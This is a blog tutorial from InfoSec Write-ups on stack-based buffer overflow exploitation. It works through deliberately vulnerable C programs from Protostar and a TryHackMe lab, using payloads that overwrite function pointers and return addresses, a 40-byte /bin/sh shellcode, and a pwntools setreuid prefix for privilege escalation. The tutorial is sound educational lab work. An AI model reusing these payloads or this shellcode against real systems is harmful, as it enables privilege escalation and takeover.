InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties…

Follow publication

Into the art of Binary Exploitation 0x000001 [Stack-Based Overflow]

Hacker is a term for both those who write code & who exploit it.

Dear Fellow hackers & info-sec hobbyists ✋🏻

Here I’m gonna plan to release a series of writes about “Binary Exploitation”. As you know it’s a vast & core area of hacking space. Before I start, to be frank, for people who don’t have a computer science background this may not be worth their time & I hope/wish I’ll make it much easier as I can. It’s not comfortable to writing all the basics so, I’ll be only at the point. If you have a good foundation, then you’ll love to follow.

What is binary exploitation??

Binary Exploitation is a broad topic within Cyber Security that comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program’s functions. The portion of the language that a computer can understand is called a “binary.” Computers operate in binary, meaning they store data and perform calculations using only zeros and ones. A single binary digit can only represent True (1) or False (0) in boolean logic. Each language, has its distinct features, though many times there are commonalities between programming languages. It works on the principle of turning a weakness into an advantage which involves, taking advantage of a bug or vulnerability to cause unintended or unanticipated behavior.

⚡ Prerequisites

➜ programming basics , Assembly (64 Bit), Linux terminal usage.

So let’s start with a simple Stack-based buffer overflow,

Buffer Overflow

There are two different types of buffer-overflow attacks. These are stack-based and heap-based buffer overflow. In both cases, this type of exploit takes advantage of an application that waits for the user’s input. It can cause the program to crash or execute arbitrary code. A buffer overflow happens when a program tries to fill a block of memory (a memory buffer) with more data than is supposed to hold. Attackers exploit buffer overflow issues by overwriting the memory of an application. Buffer overflows are common vulnerabilities in software applications that can exploit to achieve remote code execution (RCE) or perform a Denial-of-Service (DoS) attack. The simplest and most common buffer overflow is one where the buffer is on the Stack. The most significant cause of buffer overflows is the use of programming languages that do not automatically monitor limits of memory buffer or stack to prevent (stack-based) buffer overflow. These include the C and C++ languages. Given below is an example.

Sample C program

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char *gets(char *);void abracadabra() {
printf("Success..! Function called :D\n");
exit(0);
}
int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*point)();
} hackvist;

hackvist.point = NULL;
gets(hackvist.buffer);

if (hackvist.point) {
printf("Function Pointer → %p\n", hackvist.point);
fflush(stdout);
hackvist.point();
} else {
printf("Try Again\n");
}

exit(0);
}

If you have any idea of C programming then you’ll understand how the above code works. if a little confused? wait let me clarify.

OUR AIM: To execute the uncalled funtion “abracadabra”

The code provides a function “abracadabra” which is not called anywhere. It contains a buffer of size “64” & a pointer “*point”. The value of point is set to NULL, & the code asks for user input via the gets(). gets() Reads characters from the standard input (stdin) and stores them as a C string into str until a newline character or the end-of-file is reached. Later that, The “pointer value” is checked (which we set NULL as default) and print the value. If still, the value is NULL? then “try again” gets printed. Let’s compile & run the program.

warning message

The code was compiled successfully & ready to execute. You can see a warning message while compiling the program. In many cases people avoid the warnings, everyone cares about “errors”.

warning: the ‘gets’ function is dangerous and should not be used.

Why the gets() is dangerous ??

It’s unsafe because it assumes consistent input. NEVER USE IT! You should not use gets since it has no way to stop a buffer overflow. It doesn’t perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. If the user types in more data then will most likely end up with corruption or worse.

I run the program by providing some inputs. The program displays the same output “Try Again”.

output

This assumes that the “else” statement gets printed.

if (hackvist.point) {
printf(“Function Pointer → %p\n”, hackvist.point);
fflush(stdout);
hackvist.point();
} else {
printf(“Try Again\n”);
//*This One *//
}

This means still the pointer value is NULL. “hackvist.point = NULL”. So let’s dive in.

The intention is to subvert the execution flow & run the function “abracadabra”. Let’s start to debug the code.

First, I’m gonna break the main, & run without any input.

b main
Breakpoint 1 at 0x119a

I jump through each instruction by typing ni. Finally reached the point of gets() function. I didn’t provide any values and analyze the flow

je after gets()

As I said, I didn’t provide any value as input. The code executes as normal. The pointer value is NULL, thus the “else” statement gets executed. The result is shown below.

Code executed

Now, it’s time to analyze by passing the values. The buffer size is 64, so
we’ll pass the values in a recognizable format. so it’s easy to understand.
For this, I made a simple python 2 liner.

exploit.py

We’ve to use this as an input, so I’m making easy,
python exploit.py > exp

b main (break the main)

r < exp (run our python script as input)

flow changed

The flow is changed! It overruns the buffer’s boundary and overwrites adjacent memory locations. So the pointer value is also changed from NULL !!

if (hackvist.point) {
printf(“Function Pointer → %p\n”, hackvist.point);

After continuous execution of the else statement we are in
if (hackvist.point) { printf(“Function Pointer → %p\n”, hackvist.point);

NB: Pointer Value is changed !

Continuing the process by ni, we can find something interesting.

segmentation fault

Segmentation Fault

A segmentation fault (aka segfault) is a common condition that causes programs to crash. It occurs due to program attempts to access a memory location that it is not allowed to access or attempts to access a memory location in a way that is not allowed. So, we are on track. Now we can pass the same input “ r < exp “ on gdb and analyze the register to confirm where the Overflow occurs!

By jumping next to the next instruction (ni) we’ll reach the point right before segf. The register values can analyze via python. The chr() method returns a string representing a character whose Unicode code point is an integer.

info registers

In the previous example, we saw “Function Pointer → 0x5252525251515151\n”. We understand “Q” & “R” seem to be overflowed, & specific values are stored into the pointer after the buffer. So as the program “hackvist.point(); “ is called. Our intention is to run the function “abracadabra”. Obviously, if we placed the address of the function in the pointer, the program will call the function. Let’s check the address of “abracadabra”.

0x555555555179 <abracadabra>

We got the address of the function. Now we can edit the python script a little bit. we’ve to place 0x555555555179 in a suitable way & have to consider endianness. For that, I cleared the overflowing from Q, as we know the input was in a recognizable pattern. I added the address “0x555555555179” to the payload & save it for finisher move.

Final Exploit

Let’s run this python exploit.py > exp & “r < exp” on gdb, in the same way, we used to do before. Now we can see that our aim is successful. The pointer value is now the address of “the function abracadabra”.

use ni for jumping

value of hackvist.point = the address of the function we wanna call. So,
“hackvist.point();” calls the function “abracadabra”. And we can able to execute the function.

function “abracadabra” is executed.

Yaay! Our aim is done 😈😈

1337 H4x06

Now let’s so solve the same patterned challenge from exploit education. Which we can use our command-line itself as a tactic way.

Source code

As we did, here the aim is to call the function “complete_level”.
We can simply find its address by objdump.

objdump -d ./stack-three | grep complete_level

address is: 40069d

We’ve to place this address into pointer value & then it’ll call the function.
a simple python one-liner is enough to solve this challenge in a very effective way by Overflowing the buffer.The result is given below.

Simply, by typing
python -c ‘print “A”*64 + “\x9d\x06\x40”’ | ./stack-three

Hurray! we did it

What if there’s no “function pointer variable” and “no modified variable” !! Can we execute a function??

Ans: Of course!

Source from Exploit Education →Protostar

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

We need to redirect the execution flow of the program and execute win function which is not supposed to execute ideally. there’s no “function pointer variable” and “no modified variable. Instead of overflowing a local variable, we can overflow the return pointer on the stack. It will read the wrong value & run there instead.

Let’s try overflowing the buffer and increase it until we get a segmentation fault message.

user@protostar:/opt/protostar/bin$ python -c 'print("A"*64)' | ./stack4
user@protostar:/opt/protostar/bin$ python -c 'print("A"*70)' | ./stack4
user@protostar:/opt/protostar/bin$ python -c 'print("A"*75)' | ./stack4
user@protostar:/opt/protostar/bin$ python -c 'print("A"*76)' | ./stack4
Segmentation fault

We can say that after 76 bytes is the area that overwrites the instruction pointer, so we’ll need 76 ‘A’s and the address of win in Little-Endian.

user@protostar:/opt/protostar/bin$ objdump -x stack4 | grep win080483f4 g     F .text 00000014              win

So we got the address of win, which is “0x080483f4”. Now we just need to use Python to print 76 ‘A’s then the address in Little-Endian.

user@protostar:/opt/protostar/bin$ python -c 'print("A"*76 + "\xf4\x83\x04\x08")' | ./stack4code flow successfully changedSegmentation fault

Yaay!! Code flow was successfully changed. We executed the win function.

Segmentation fault ?? That’s because after the code executes the win function, it tries to return to the next value on the stack. Which is not a valid code area :)

What if I told you it’s just a beginning ??

Now it’s time to write our first BufferOverflow with Shellcode, which shows you how powerful a bufferOverflow will be. In the previous examples, we’ve seen that when a program takes users controlled input, it may not check the length, and thus a malicious user could overwrite values and actually change variables. We can control where the function returns and change the flow of execution of a program. Know that we can control the flow of execution by directing the return address to some memory address, how do we actually do something useful with this?? This is where “shellcode” comes in.

Shellcode

A special type of code to inject remotely, which hackers use to exploit a variety of software vulnerabilities. It is so named because it typically spawns a command shell from which attackers can take control of the affected system. it’s a list of machine code instructions that are developed in a manner that allows it to be injected into a vulnerable application during its runtime.

Here’s the general process:

➟ Find out the address of the start of the buffer and the start address of the return address.

➟Calculate the difference between these addresses so you know how much data to enter to overflow.

➟Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address.

For this example, Let’s test the same from THM room “Buffer Overflows”. look at overflow-3 folder.

What is the challenge ??

open a shell and read the contents of the secret.txt file

permission denied !!

Inside this folder, you’ll find the following C code.

//* buffer-overflow.c *//#include <stdio.h>
#include <stdlib.h>
void copy_arg(char *string)
{
char buffer[140];
strcpy(buffer, string);
printf("%s\n", buffer);
return 0;
}
int main(int argc, char **argv)
{
printf("Here's a program that echo's out your input\n");
copy_arg(argv[1]);
}

argv[1] which is a command-line argument to a buffer of length 140 bytes. With the nature of strcpy, it does not check the length of the data. So we are going to do some magic!

Segmentation fault

4 bytes overwritten. (0x0000000041414141)
the offset will be (156–4) 152 bytes.

After several attempts, all failing with an “Illegal instruction” error, I found a shellcode (40 bytes).

shellcode = ‘\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05’

cat /etc/passwd

Colon-separated file that contains the following information: User name, Encrypted password, User ID number (UID), User’s group ID number (GID).

We can use pwntools to generate a prefix to our shellcode to run SETREUID

setreuid() sets real and effective user IDs of the calling process.

(1002 : user2)

pwn shellcraft -f d amd64.linux.setreuid 1002

Our payload length

NOP sled = 90
Setreuid = 14
Shellcode = 40
Random chars = 8
Memory address = 6

90 + 14 + 40 + 8 + 6 = 158

EXPLOIT

It’s super easy to write the exploit with python. And my exploit is shown below.

Let’s run the exploit → ./buffer-overflow $(python exploit.py; cat)

Boom! Successfully Exploited

— NB —

It’s just a beginning..!
In future, we discuss the next levels of the game 😎 !!

🔹 SOCIAL NETWORKS →Connect with me! 🥰

Feel free to connect on Twitter @7h3h4ckv157

Thanks for reading..!! 😉

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by 7h3h4ckv157

Hacker | Hall of Fame: Google, Apple, NASA, 𝕏 (FKA Twitter) | Speaker: BlackHat MEA x1 | CVE ×4 | HTB Rank: Guru | P1 warrior - Bugcrowd | CS Engineer